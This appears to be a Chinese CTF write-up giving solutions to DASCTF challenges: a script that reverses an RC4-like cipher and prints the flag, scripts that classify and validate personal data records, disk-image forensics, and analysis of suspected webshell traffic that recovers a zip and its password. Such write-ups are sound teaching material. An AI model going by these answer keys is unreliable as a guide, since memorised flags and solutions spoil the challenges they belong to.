v7 = IDA_3af810 = [0x42, 0x86, 0xdb, 0xc, 0x79, 0xd0, 0xd4, 0x56, 0xd9, 0xfd, 0x64, 0xbe, 0xfc, 0x6b, 0x8, 0x50, 0x78, 0xb0, 0xe, 0x2c, 0x52, 0x19, 0x16, 0xe0, 0x3c, 0x92, 0xda, 0x74, 0xb5, 0x62, 0x15, 0xf2, 0x65, 0x22, 0xab, 0xa8, 0x7b, 0x58, 0x45, 0x3b, 0xb7, 0xd2, 0x94, 0x44, 0xae, 0xef, 0x95, 0x48, 0xc9, 0x36, 0x3e, 0xb4, 0xb, 0x7, 0xb9, 0x13, 0x18, 0x11, 0x8f, 0x9b, 0x8a, 0xe7, 0x71, 0x39, 0xc3, 0xcb, 0x51, 0xd5, 0x68, 0x54, 0x72, 0xce, 0x60, 0x21, 0xee, 0xf1, 0xa2, 0x9, 0xb6, 0x23, 0xe9, 0x6e, 0xc1, 0x2a, 0x77, 0x6c, 0x28, 0xcf, 0x14, 0x9e, 0x75, 0xf7, 0x8b, 0x1f, 0x57, 0x67, 0x70, 0xea, 0x9f, 0x5c, 0xa7, 0x4a, 0xa5, 0xa4, 0x24, 0x10, 0x2d, 0xaa, 0xbd, 0x20, 0xe4, 0xb2, 0x27, 0x61, 0xa0, 0xf0, 0x5d, 0xd3, 0x97, 0x84, 0x69, 0xe8, 0x35, 0x4d, 0xf4, 0x81, 0x98, 0x2f, 0x31, 0x2e, 0x41, 0xaf, 0x73, 0xa1, 0x4c, 0x0, 0xa9, 0x12, 0x90, 0x6a, 0x3, 0xac, 0xdc, 0xc2, 0x91, 0x1d, 0xcc, 0x6, 0xe5, 0x3a, 0xb1, 0x80, 0x5f, 0x5, 0xd6, 0xfe, 0xde, 0xd, 0x7d, 0x9a, 0xe3, 0x7a, 0x46, 0xfa, 0x6f, 0x3d, 0xf8, 0x5b, 0x3f, 0x2b, 0xb8, 0x93, 0x38, 0xeb, 0xc6, 0xb3, 0xf6, 0xf3, 0x55, 0xca, 0x29, 0xcd, 0xc7, 0xd7, 0x6d, 0xa6, 0x1a, 0xf, 0x63, 0xf9, 0x8d, 0x1e, 0x49, 0x4, 0x32, 0x40, 0x17, 0x99, 0xbf, 0x9c, 0x26, 0xdd, 0xfb, 0xad, 0x5e, 0x33, 0xed, 0xe1, 0xc4, 0x5a, 0xd1, 0xd8, 0x89, 0x76, 0x30, 0x59, 0xdf, 0x8e, 0xff, 0x4e, 0xe2, 0x4b, 0x7c, 0xbb, 0xe6, 0xba, 0x1, 0x4f, 0x37, 0x82, 0xc8, 0x85, 0x7e, 0xf5, 0x66, 0x1c, 0xec, 0x96, 0x9d, 0xbc, 0x53, 0x47, 0xa, 0xa3, 0xc5, 0x88, 0x34, 0x87, 0x25, 0x2, 0x43, 0x83, 0xc0, 0x1b, 0x8c, 0x7f]
c = IDA_3af91c = [0xd, 0xd7, 0xfb, 0x5, 0xe0, 0xee, 0xd, 0x97, 0xa4, 0xef, 0x60, 0x14, 0xe3, 0xa0, 0x29, 0x8b, 0x4a, 0x37, 0xec, 0x53, 0xbe, 0xd0, 0xd2, 0xf8, 0xad, 0x13, 0x60, 0xa7, 0xc6, 0xc4, 0x60, 0x71, 0xd5, 0x55, 0x71, 0x13, 0x3e, 0xff, 0x1d, 0xfa, 0x12, 0x80, 0xe3, 0x29]
key = IDA_eca1b0 = [0x1f, 0x16, 0xd, 0x10, 0x13, 0x16]
key = [24, 15, 6, 9, 12, 15]
s = list(b'DASCTF{012345678901234567890123456789123456}')
# v7_backup = v7时,相当于C语言中copy指针,v7修改v7_backup也会跟着修改,所以数组内容copy可以用v7[:]
v7_backup = v7[:]
def en(s):
v5 = 0
v4 = 0
result = s
for i in range(44):
v5 = (v5 + 1) % 256
v4 = (v4 + v7[v5]) % 256
v7[v5], v7[v4] = v7[v4], v7[v5]
temp = key[i % 6] ^ v7[(v7[v4] + v7[v5]) % 256]
result[i] += temp
result[i] = result[i] & 0xff
return result
def de(c):
v5 = 0
v4 = 0
result = c
for i in range(44):
v5 = (v5 + 1) % 256
v4 = (v4 + v7[v5]) % 256
v7[v5], v7[v4] = v7[v4], v7[v5]
temp = key[i % 6] ^ v7[(v7[v4] + v7[v5]) % 256]
result[i] -= temp
result[i] = result[i] & 0xff
return result
def find_key(s,c):
v5 = 0
v4 = 0
result = s
keys = []
for i in range(6):
v5 = (v5 + 1) % 256
v4 = (v4 + v7[v5]) % 256
v7[v5], v7[v4] = v7[v4], v7[v5]
result_backup = result[i]
for key in range(0xff):
temp = key ^ v7[(v7[v4] + v7[v5]) % 256]
result[i] += temp
result[i] = result[i] & 0xff
if result[i] == c[i]:
keys.append(key)
break
else:
result[i] = result_backup
return keys
v7 = v7_backup[:]
key = find_key(s,c)
v7 = v7_backup[:]
flag = de(c)
print(key)
print(bytes(flag))
"""
[24, 15, 6, 9, 12, 15]
b'DASCTF{wow_flag_is_your_the_question_is_eas}'
"""
数据分析
数据分析-1

根据文件要求,提取数据。

数据在db文件,可以用Navicat等数据库工具打开,可以发现有个content表,value字段。
这里人写需要有一定逻辑,用比较强的AI写就很轻松。
import sqlite3 as sql
import csv
import re
phone_need = [134, 135, 136, 137, 138, 139, 147, 148, 150, 151, 152, 157, 158, 159, 172, 178,
182, 183, 184, 187, 188, 195, 198, 130, 131, 132, 140, 145, 146, 155, 156, 166,
167, 171, 175, 176, 185, 186, 196, 133, 149, 153, 173, 174, 177, 180, 181, 189,
190, 191, 193, 199]
phone_need = list(map(str,phone_need))
name_pattern = re.compile(r'^[\u4e00-\u9fa5]+$')
email_pattern = re.compile(r'^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$')
def check_id(id_str: str):
if len(id_str) != 18:
return False
if not id_str[:17].isdigit():
return False
if id_str[17] not in '0123456789X':
return False
a = [7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2]
b = {0:"1",1:"0",2:"X",3:"9",4:"8",5:"7",6:"6",7:"5",8:"4",9:"3",10:"2"}
c = sum(a[i] * int(id_str[i]) for i in range(17))
d = c % 11
return b[d] == id_str[17]
def get_type(value: str):
if check_id(value):
return 'idcard'
elif len(value) == 11 and value.isdigit() and value[:3] in phone_need:
return 'phone'
elif email_pattern.match(value):
return 'email'
elif name_pattern.match(value):
return 'name'
return None
conn = sql.connect('./data.db')
cursor = conn.cursor()
cursor.execute("SELECT value FROM content")
values = [row[0] for row in cursor.fetchall()]
conn.close()
data = []
for val in values:
val = str(val).strip()
data_type = get_type(val)
if data_type:
data.append([data_type, val])
with open('./data.csv','w',encoding='utf-8',newline='') as f:
writer = csv.writer(f)
writer.writerow(['type','value'])
writer.writerows(data)
print('ok')
上交到靶场进行校验,校验成功即可得到flag。
notlose

一样的,按照要求,编写代码
import csv
import re
from datetime import datetime
type_line = ['姓名','身份证号','性别','注册日期']
name_pattern = re.compile(r'^[\u4e00-\u9fa5]{2,4}$')
def check(row: list[str]):
name, idcard, sex, date = row
if not name_pattern.match(name):
return False
if len(idcard) != 18 or not idcard[:17].isdigit():
return False
if not check_date(idcard, date):
return False
if not check_sex(idcard, sex):
return False
return True
def check_date(idcard: str,date: str):
date = datetime.strptime(date, '%Y-%m-%d')
birth = datetime.strptime(idcard[6:14],'%Y%m%d')
if date < birth:
return False
return True
def check_sex(idcard: str,sex: str):
temp = int(idcard[16]) % 2
if temp == 0:
return sex == '女'
return sex == '男'
res = []
with open('./data.csv','r',encoding='utf-8',newline='') as f:
reader = csv.reader(f)
for row in reader:
"""['杨明', '440301198008236730', '男', '2012-03-21']"""
if check(row):
res.append(row)
with open('./res.csv','w',encoding='utf-8',newline='') as f:
writer = csv.writer(f)
writer.writerow(type_line)
writer.writerows(res)
上交到靶场进行校验,校验成功即可得到flag。
数据溯源与处理
数据溯源-1
题目给了个dd文件,这里可以用Autopsy打开:
发现有个zip文件

这里也可以用邪修大法找到这个zip文件。
将dd文件放到010中打开,猜测类似word文档这些,有个压缩包,直接搜索50 4B 03 04

这里面提取也是一样的。
用7-Zip解压这个zip文件,得到以下三个文件

先看第一部分数据,划到最后发现有个==,猜测base64


得到第一部分数据。
接下来看第二部分数据,猜测Hex


得到第二部分数据。
接下来看第三部分,文件提示CBC。但就是卡在这了,可能缺少题目描述信息,如果是RC4,AES,那都得有密钥才行。
easyEzdata

了流量包,看协议分级,发现没啥,那就看HTTP
先看请求和会话。


猜测是webshell
追踪流一下。

这里看到xxx=xxx&pass=xxx
怀疑是蚁剑。
尝试将前面的参数值去除前两个字符,base64解码。

有个1.zip。留意一下。
再看后面长长的参数

发现有个504B,怀疑就是1.zip,将内容放置010 Editor中,创建新文件1.zip,解压发现需要密码,随便输入一个,发现说缺失文件尾。
继续找下一个流。

一样的。

发现还是一样的内容,那么这个就是zip的后半部分了,一样的尝试,发现还是缺失文件尾。
一样找下一个流

解码后还是1.zip,那么这后面的16进制数据还是zip的内容,补充到010中,最终得到一个完整的1.zip,输入密码后没有报文件错误。
那么接下来就需要找zip的密码了。
接着看下一个流


再下一个

再下一个


再下一个


再下一个


发现有个-p,猜测这就是密码:DasAir@123987321789
解压压缩包,得到图片:1.png

尝试改宽高(或用png的CRC爆破):

得到flag。

浙公网安备 33010602011771号